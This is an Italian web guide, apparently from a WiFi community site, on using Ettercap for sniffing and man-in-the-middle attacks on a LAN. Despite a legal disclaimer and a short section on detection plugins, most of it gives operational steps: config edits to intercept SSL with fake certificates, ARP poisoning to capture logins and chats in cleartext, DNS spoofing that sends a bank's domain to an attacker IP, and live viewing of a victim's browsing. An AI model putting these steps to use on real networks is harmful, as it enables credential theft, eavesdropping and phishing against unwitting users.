Vediamo come analizzare i pacchetti in transito su una rete con uno dei più celebri sniffer di matrice italiana: Ettercap.

La scelta è ricaduta su Ettercap in quanto, questo ottimo software, permette una visualizzazione rapida di dati sensibili, oltre che ad un'analisi molto dettagliata dei pacchetti sniffati.....

INTENDIAMO RICORDARE CHE ENTRARE IN UNA RETE WiFi PROTETTA E' UN REATO PRESEGUIBILE A TERMINI DI LEGGE, RAGION PER CUI QUESTA GUIDA E' DA RIFERIRSI A UNA PROVA SULLA PROPRIA RETE.

AL FINE DI GIUDICARNE LA SICUREZZA. WIFI-ITA.COM E GLI AMMINISTRATORI NON POTRANNO ESSERE RITENUTI RESPONSABILI DI EVENTUALI VIOLAZIONI EFFETTUANDO UN USO ERRATO DI QUESTA GUIDA.
Vedere la NORMATIVA sul Wireless.

Innanzitutto editiamo, con un qualsiasi editor di testo il file etter.conf:

Codice:
```
nano /usr/local/etc/etter.conf
```

nello stesso ostituiamo:

Codice:
```
[privs]
```

```
ec_uid = 65534 # nobody is the default
ec_gid = 65534 # nobody is the default

in

[privs]
ec_uid = 0 # nobody is the default
ec_gid = 0 # nobody is the default
```

Queste variabili indicano i privilegi di esecuzione del logging con ettercap. Il logging di ettercap è di default eseguito con i privilegi dell'utente nobody (uid= 65534 gid= 65534). Ora se si vuole loggare senza considerare particolari privilegi impostiamo 0.
Se invece vuoi loggare con un diverso utente in un particolare directory, puoi eseguire un export delle variabili d'ambiente viste sopra settando uid e gid dell'utente in questione.

Codice:

```
# if you use iptables:
#redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to
#redir_command_on = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to

in

if you use iptables:
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-
redir_command_on = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-
```

Questo ci permette di bypassare il protocollo di crittografia SSL in modo da ottenere risultati anche su questo versante.
Ettercap fornisce un falso certificato al client in modo che esso accettando (cosa che avviene dal 99% degli utenti) permette la trasmissione dei dati in chiaro.
Per salvare il file etter.conf usiamo ctrl+o e premiamo "invio" , a seconda dell'editor usato, per confermare. Quit con ctrl+x

Effettuiamo la connessione alla rete.
Avviamo Ettercap e selezioniamo l'interfaccia di rete con la quale ci siamo connessi.

Codice:

```
Sniff >> Unified Sniffing...
oppure shift+u
```

Effettuiamo una scansione degli Host presenti sulla rete

Codice:

Hosts >> Scan Hosts
oppure crtl+s

Possiamo visualizzare la lista degli Hosts premendo H
Visualizzerà IP e MAC di ogni macchina connessa

Impostiamo l'ARP poisoning:

Codice:

Mitm >> Arp poisoning >> Sniff remote connections

Facciamo partire lo sniffing:

Codice:

Start >> Start sniffing
oppure crtl+

Ora nel rettangolo in basso comparirà ogni volta che viene effettuato un login direttamente in chiaro, esempio:
HTTP: XXX.XXX.XXX.XXX -> USER: XXXXX PASS: XXXXX INFO: https://www.XXX.XXX

HTTP si riferisce al protocollo (che possono essere vari, ad esempio anche POP) con l'ip relativo al client
INFO: è il link al sito dove è stato effettuato il login

Utile per un'analisi più approfondita la sezione:

Codice:

Hosts >> Connections

Dove è possibile leggere tutti i pacchetti con i relativi IP e porte di riferimento.
Ad esempio è possibile evidenziare i pacchetti sulla porta 80 per le connessioni http, oppure la porta 1863 che si riferisce al protocollo MSN, in modo da poter leggere qualsiasi conversazione.

Codice:

Hosts >> Profiles

Lista i vari IP visitati con la risoluzione in caso di siti del relativo nome. Nel caso si è sniffato un login comparirà un simbolo accanto al relativo IP.

I Plugin

Tutti i plugin sono attivabili da

Codice:

Plugin >> Manage the plungi

dns_spoof
Ettercap intercetta le query DNS e risponde con le informazioni desiderate dall'attaccante. L'host dell'attaccante si sostituisce al server DNS e da informazioni false, associando nomi simbolici ad indirizzi IP in suo controllo, oppure ancora associa il nome simbolico del sito Web cercato dal client con il proprio IP e funga, di conseguenza, da proxy per tutti i servizi che il client si aspetta di trovare sul server.

Poiché abbiamo il pieno controllo di quanto scambiato tra macchine di una LAN, tra loro o verso l'Internet, è immediato capire che un attacco può portare, anche ad attacchi più intrusivi, quali, per rimanere in ambito Web, la modifica dei dati in transito oppure la modifica dei file binari eseguibili durante lo scaricamento degli stessi.

modifichiamo il file etter.dns

Codice:

```
nano /usr/local/share/ettercap/etter.dn
```

ad esempio troviamo

Codice:

```
############################
# microsoft sucks :)
# redirect it to              www.linux.org
#

microsoft.com          A  198.182.196.56
*microsoft.org         A  198.182.196.56
```

cancelliamoli e mettiamo

Codice:

```
* A XXX.XXX.XXX.XXX
```

cioè tutti i siti a cui un host tenterà di accedere verranno indirizzati all'IP XXX.XXX.XXX.XXX

oppure definiamo solo qualcuno in particolare:

Esempio:

```
www.XXXbancaXXX.it A XXX.XXX.XXX.XXX
```

quando si collegherà a www.XXXbancaXXX.it per mettere i suoi dati, in realtà sarà indirizzato a XXX.XXX.XXX.XXX

Potremmo anche configurare un HTTPD su BT3 e mettere quell'IP

Ettercap, il miglior software per lo sniffing e gli attacchi man in the middle esistente, è anche quello che meglio si presta a rilevare se stesso, rilevare attività ARP anomale all'interno della LAN ed anche schede di rete funzionanti in modalità promiscua, attraverso i plug-in

search_promisc ed arp_cop che andrò ad illustrare

search_promisc
Tramite questo plugin, Ettercap invia due differenti tipologie di richieste ARP malformate per ogni nodo nella rete ed attende la risposta. Nel caso questa arrivi, la scheda di rete del nodo origine è molto probabilmente impostata in modalità promiscua.
search_promisc: Searching promisc NICs...

Less probably sniffing NICs:
- 192.168.0.1
- 192.168.0.4

Most probably sniffing NICs:
- 192.168.0.5

In realtà, nella LAN di esempio nessuna macchina sta sniffando, ma alcune posseggono schede di rete poste in modo promiscuo; 192.168.0.1 rappresenta il modem/router/firewall/access point.

arp_cop
Ettercap riporta attività ARP sospetta monitorando le richieste e le conseguenti risposte ARP all'interno della LAN.
Comparirà:

arp_cop: (WARNING)XXX.XXX.XXX.XXX[XX:XX:XX:XX:XX:XX] pretends to be YYY.YYY.YYY.YYY[YY:YY:YY:YY:YY:YY]

Con relativi IP e MAC

find_ip
Permette di vedere quali IP sono liberi, utile nel caso cerchiamo un IP da utilizzare nel caso vogliamo creare un fake host (ad esempio tramite il plugin gre_relay)

gw_discover
Cerca di trovare il gateway della LAN

Codice:

```
Insert remote IP:PORT
```

e mettiamo l'IP di un sito qualsiasi ed identificherà il Gateway

[XX:XX:XX:XX:XX:XX] 192.168.1.1 is probably a gateway for the LAN

isolate
isola un host dalla LAN

remote_browser
permette all'attaccante di visualizzare nel proprio browser
'in diretta' tutte le pagine web che sta visitando l'host

editiamo il file etter.conf come in precedenza

Codice:

```
nano /usr/local/etc/etter.conf
```

modifichiamo "mozilla" con "firefox"

Codice:

```
# the command used by the remote_browser plugin
remote_browser = "mozilla -remote openurl(http://%host%url)"
```

in

```
remote-browser = "firefox -remote openurl (http://%host%url)"
```

Si ringrazia Miklee per aver fornito questa ottima guida